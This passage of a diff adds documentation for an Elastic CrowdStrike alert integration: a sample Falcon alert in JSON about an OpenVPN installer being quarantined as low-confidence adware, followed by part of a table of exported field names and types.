+            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+            "pattern_disposition_details": {
+                "blocking_unsupported_or_disabled": false,
+                "bootup_safeguard_enabled": false,
+                "critical_process_disabled": false,
+                "detect": false,
+                "fs_operation_blocked": false,
+                "handle_operation_downgraded": false,
+                "inddet_mask": false,
+                "indicator": false,
+                "kill_action_failed": false,
+                "kill_parent": false,
+                "kill_process": false,
+                "kill_subprocess": false,
+                "operation_blocked": false,
+                "policy_disabled": false,
+                "process_blocked": true,
+                "quarantine_file": true,
+                "quarantine_machine": false,
+                "registry_operation_blocked": false,
+                "rooting": false,
+                "sensor_only": false,
+                "suspend_parent": false,
+                "suspend_process": false
+            },
+            "pattern_id": "5761",
+            "platform": "Windows",
+            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+            "process_end_time": "2023-11-03T18:00:21.000Z",
+            "process_id": "399748687993",
+            "process_start_time": "2023-11-03T18:00:13.000Z",
+            "product": "epp",
+            "quarantined_files": [
+                {
+                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "state": "quarantined"
+                }
+            ],
+            "scenario": "NGAV",
+            "severity": 30,
+            "severity_name": "low",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "show_in_ui": true,
+            "source_products": [
+                "FalconInsight"
+            ],
+            "source_vendors": [
+                "CrowdStrike"
+            ],
+            "status": "new",
+            "tactic": "MachineLearning",
+            "tactic_id": "CSTA0004",
+            "technique": "Adware/PUP",
+            "technique_id": "CST0000",
+            "timestamp": "2023-11-03T18:00:22.328Z",
+            "tree_id": "1931778",
+            "tree_root": "38687993",
+            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+            "type": "ldt",
+            "updated_timestamp": "2023-11-03T19:00:23.985Z",
+            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "user_name": "mohit.jha"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.alert",
+        "namespace": "96581",
+        "type": "logs"
+    },
+    "device": {
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "manufacturer": "LENOVO",
+        "model": {
+            "name": "20VE"
+        }
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "dataset": "crowdstrike.alert",
+        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+        "ingested": "2025-10-09T10:20:29Z",
+        "kind": "alert",
+        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+        "severity": 21,
+        "type": [
+            "start"
+        ]
+    },
+    "file": {
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+    },
+    "host": {
+        "domain": "ABC.LOCAL",
+        "hostname": "ABC709-1175",
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "ip": [
+            "81.2.69.142"
+        ],
+        "mac": [
+            "AB-21-48-61-05-B2"
+        ],
+        "os": {
+            "full": "Windows11",
+            "platform": "Windows",
+            "type": "windows"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+    "process": {
+        "end": "2023-11-03T18:00:21.000Z",
+        "entity_id": "399748687993",
+        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "hash": {
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+        },
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "parent": {
+            "command_line": "C:\\WINDOWS\\Explorer.EXE",
+            "entity_id": "392736520876",
+            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+            "hash": {
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+            },
+            "name": "explorer.exe",
+            "pid": 392736520876
+        },
+        "pid": 399748687993,
+        "start": "2023-11-03T18:00:13.000Z",
+        "user": {
+            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "name": "mohit.jha"
+        }
+    },
+    "related": {
+        "hash": [
+            "b07f77fd3f9828b2c9d61f8a36609741",
+            "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "8cc3fcdd7d52d2d5221303c213e044ae",
+            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+            "0000000000000000000000000000000000000000"
+        ],
+        "hosts": [
+            "ABC.LOCAL",
+            "ABC709-1175"
+        ],
+        "ip": [
+            "81.2.69.142"
+        ],
+        "user": [
+            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "yuvraj.mahajan",
+            "mohit.jha"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-alert"
+    ],
+    "threat": {
+        "framework": "CrowdStrike Falcon Detections Framework",
+        "tactic": {
+            "id": [
+                "CSTA0004"
+            ],
+            "name": [
+                "MachineLearning"
+            ]
+        },
+        "technique": {
+            "id": [
+                "CST0000"
+            ],
+            "name": [
+                "Adware/PUP"
+            ]
+        }
+    },
+    "user": {
+        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+        "name": "mohit.jha"
+    }
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| crowdstrike.alert.active_directory_authentication_method |  | long |
+| crowdstrike.alert.activity.browser |  | keyword |
+| crowdstrike.alert.activity.device |  | keyword |
+| crowdstrike.alert.activity.id |  | keyword |
+| crowdstrike.alert.activity.os |  | keyword |
+| crowdstrike.alert.agent_id |  | keyword |
+| crowdstrike.alert.agent_scan_id |  | keyword |
+| crowdstrike.alert.aggregate_id |  | keyword |
+| crowdstrike.alert.alert_attributes |  | long |
+| crowdstrike.alert.alleged_filetype |  | keyword |
+| crowdstrike.alert.assigned_to.name |  | keyword |
+| crowdstrike.alert.assigned_to.uid |  | keyword |
+| crowdstrike.alert.assigned_to.uuid |  | keyword |
+| crowdstrike.alert.associated_files.filepath |  | keyword |
+| crowdstrike.alert.associated_files.sha256 |  | keyword |
+| crowdstrike.alert.child_process_ids |  | keyword |
+| crowdstrike.alert.cid |  | keyword |
+| crowdstrike.alert.cloud_indicator |  | boolean |
+| crowdstrike.alert.cmdline |  | keyword |
+| crowdstrike.alert.command_line |  | keyword |
+| crowdstrike.alert.comment |  | keyword |
+| crowdstrike.alert.composite_id |  | keyword |
+| crowdstrike.alert.confidence |  | long |
+| crowdstrike.alert.context_timestamp |  | date |
+| crowdstrike.alert.control_graph_id |  | keyword |
+| crowdstrike.alert.crawl_edge_ids.Sensor |  | keyword |
+| crowdstrike.alert.crawl_vertex_ids.Sensor |  | keyword |
+| crowdstrike.alert.crawled_timestamp |  | date |
+| crowdstrike.alert.created_timestamp |  | date |
+| crowdstrike.alert.data_domains |  | keyword |
+| crowdstrike.alert.description |  | keyword |
+| crowdstrike.alert.detect_type |  | keyword |
+| crowdstrike.alert.device.agent_load_flags |  | long |
+| crowdstrike.alert.device.agent_local_time |  | date |
+| crowdstrike.alert.device.agent_version |  | keyword |
+| crowdstrike.alert.device.bios_manufacturer |  | keyword |
+| crowdstrike.alert.device.bios_version |  | keyword |
+| crowdstrike.alert.device.cid |  | keyword |
+| crowdstrike.alert.device.config_id_base |  | keyword |
+| crowdstrike.alert.device.config_id_build |  | keyword |
+| crowdstrike.alert.device.config_id_platform |  | long |
+| crowdstrike.alert.device.external_ip |  | ip |
+| crowdstrike.alert.device.first_seen |  | date |
+| crowdstrike.alert.device.groups |  | keyword |
+| crowdstrike.alert.device.hostinfo.active_directory_dn_display |  | keyword |
+| crowdstrike.alert.device.hostinfo.domain |  | keyword |
+| crowdstrike.alert.device.hostname |  | keyword |
+| crowdstrike.alert.device.id |  | keyword |
+| crowdstrike.alert.device.last_seen |  | date |
+| crowdstrike.alert.device.local_ip |  | ip |
+| crowdstrike.alert.device.mac_address |  | keyword |
+| crowdstrike.alert.device.machine_domain |  | keyword |
+| crowdstrike.alert.device.major_version |  | keyword |
+| crowdstrike.alert.device.minor_version |  | keyword |
+| crowdstrike.alert.device.modified_timestamp |  | date |
+| crowdstrike.alert.device.os_version |  | keyword |
+| crowdstrike.alert.device.ou |  | keyword |
+| crowdstrike.alert.device.platform_id |  | keyword |
+| crowdstrike.alert.device.platform_name |  | keyword |
+| crowdstrike.alert.device.pod_labels |  | keyword |
+| crowdstrike.alert.device.product_type |  | keyword |
+| crowdstrike.alert.device.product_type_desc |  | keyword |
+| crowdstrike.alert.device.site_name |  | keyword |
+| crowdstrike.alert.device.status |  | keyword |
+| crowdstrike.alert.device.system_manufacturer |  | keyword |
+| crowdstrike.alert.device.system_product_name |  | keyword |
+| crowdstrike.alert.device.tags |  | keyword |
+| crowdstrike.alert.display_name |  | keyword |
+| crowdstrike.alert.documents_accessed.filename |  | keyword |
+| crowdstrike.alert.documents_accessed.filepath |  | keyword |
+| crowdstrike.alert.documents_accessed.timestamp |  | date |
+| crowdstrike.alert.email_sent |  | boolean |
+| crowdstrike.alert.end_time |  | date |
+| crowdstrike.alert.event_id |  | keyword |
+| crowdstrike.alert.executables_written.filename |  | keyword |
+| crowdstrike.alert.executables_written.filepath |  | keyword |
+| crowdstrike.alert.executables_written.timestamp |  | date |
+| crowdstrike.alert.falcon_host_link |  | keyword |
+| crowdstrike.alert.file_writes.name |  | keyword |
+| crowdstrike.alert.file_writes.sha256 |  | keyword |
+| crowdstrike.alert.filename |  | keyword |
+| crowdstrike.alert.filepath |  | keyword |
+| crowdstrike.alert.files_accessed.filename |  | keyword |
+| crowdstrike.alert.files_accessed.filepath |  | keyword |
+| crowdstrike.alert.files_accessed.timestamp |  | date |
+| crowdstrike.alert.files_written.filename |  | keyword |
+| crowdstrike.alert.files_written.filepath |  | keyword |
+| crowdstrike.alert.files_written.timestamp |  | date |
+| crowdstrike.alert.global_prevalence |  | keyword |
+| crowdstrike.alert.grandparent_details.cmdline |  | keyword |
+| crowdstrike.alert.grandparent_details.filename |  | keyword |
+| crowdstrike.alert.grandparent_details.filepath |  | keyword |
+| crowdstrike.alert.grandparent_details.local_process_id |  | keyword |
+| crowdstrike.alert.grandparent_details.md5 |  | keyword |
+| crowdstrike.alert.grandparent_details.process_graph_id |  | keyword |
+| crowdstrike.alert.grandparent_details.process_id |  | keyword |
+| crowdstrike.alert.grandparent_details.sha256 |  | keyword |
+| crowdstrike.alert.grandparent_details.timestamp |  | date |
+| crowdstrike.alert.grandparent_details.user_graph_id |  | keyword |
+| crowdstrike.alert.grandparent_details.user_id |  | keyword |
+| crowdstrike.alert.grandparent_details.user_name |  | keyword |
+| crowdstrike.alert.has_script_or_module_ioc |  | boolean |
+| crowdstrike.alert.host_name |  | keyword |
+| crowdstrike.alert.host_type |  | keyword |
+| crowdstrike.alert.id |  | keyword |
+| crowdstrike.alert.idp_policy.enforced_externally |  | long |
+| crowdstrike.alert.idp_policy.mfa_factor_type |  | long |
+| crowdstrike.alert.idp_policy.mfa_provider |  | long |
+| crowdstrike.alert.idp_policy.rule_action |  | long |
+| crowdstrike.alert.idp_policy.rule_id |  | keyword |
+| crowdstrike.alert.idp_policy.rule_name |  | keyword |
+| crowdstrike.alert.idp_policy.rule_trigger |  | long |
+| crowdstrike.alert.image_file_name |  | keyword |
+| crowdstrike.alert.incident.created |  | date |
+| crowdstrike.alert.incident.end |  | date |
+| crowdstrike.alert.incident.id |  | keyword |
+| crowdstrike.alert.incident.score |  | double |
+| crowdstrike.alert.incident.start |  | date |
+| crowdstrike.alert.indicator_id |  | keyword |
+| crowdstrike.alert.ioc_context.cmdline |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_description |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_source |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_type |  | keyword |
+| crowdstrike.alert.ioc_context.ioc_value |  | keyword |
+| crowdstrike.alert.ioc_context.md5 |  | keyword |
+| crowdstrike.alert.ioc_context.sha256 |  | keyword |
+| crowdstrike.alert.ioc_context.type |  | keyword |
+| crowdstrike.alert.ioc_description |  | keyword |
+| crowdstrike.alert.ioc_source |  | keyword |
+| crowdstrike.alert.ioc_type |  | keyword |
+| crowdstrike.alert.ioc_value |  | keyword |
+| crowdstrike.alert.ioc_values |  | keyword |
+| crowdstrike.alert.is_synthetic_quarantine_disposition |  | boolean |
+| crowdstrike.alert.ldap_search_query_attack |  | long |
+| crowdstrike.alert.local_prevalence |  | keyword |
+| crowdstrike.alert.local_process_id |  | keyword |
+| crowdstrike.alert.location_country_code |  | keyword |
+| crowdstrike.alert.location_latitude_as_int |  | long |
+| crowdstrike.alert.location_longitude_as_int |  | long |
+| crowdstrike.alert.logon_domain |  | keyword |
+| crowdstrike.alert.md5 |  | keyword |
+| crowdstrike.alert.model_anomaly_indicators |  | keyword |
+| crowdstrike.alert.name |  | keyword |
+| crowdstrike.alert.network_accesses.access_timestamp |  | date |
+| crowdstrike.alert.network_accesses.access_type |  | long |
+| crowdstrike.alert.network_accesses.connection_direction |  | keyword |
+| crowdstrike.alert.network_accesses.isIPV6 |  | boolean |
+| crowdstrike.alert.network_accesses.local_address |  | ip |
+| crowdstrike.alert.network_accesses.local_port |  | long |
+| crowdstrike.alert.network_accesses.protocol |  | keyword |
+| crowdstrike.alert.network_accesses.remote_address |  | ip |
+| crowdstrike.alert.network_accesses.remote_port |  | long |
+| crowdstrike.alert.objective |  | keyword |
+| crowdstrike.alert.operating_system |  | keyword |
+| crowdstrike.alert.os_name |  | keyword |
+| crowdstrike.alert.overwatch_note |  | keyword |
+| crowdstrike.alert.overwatch_note_timestamp |  | date |
+| crowdstrike.alert.parent_details.cmdline |  | keyword |
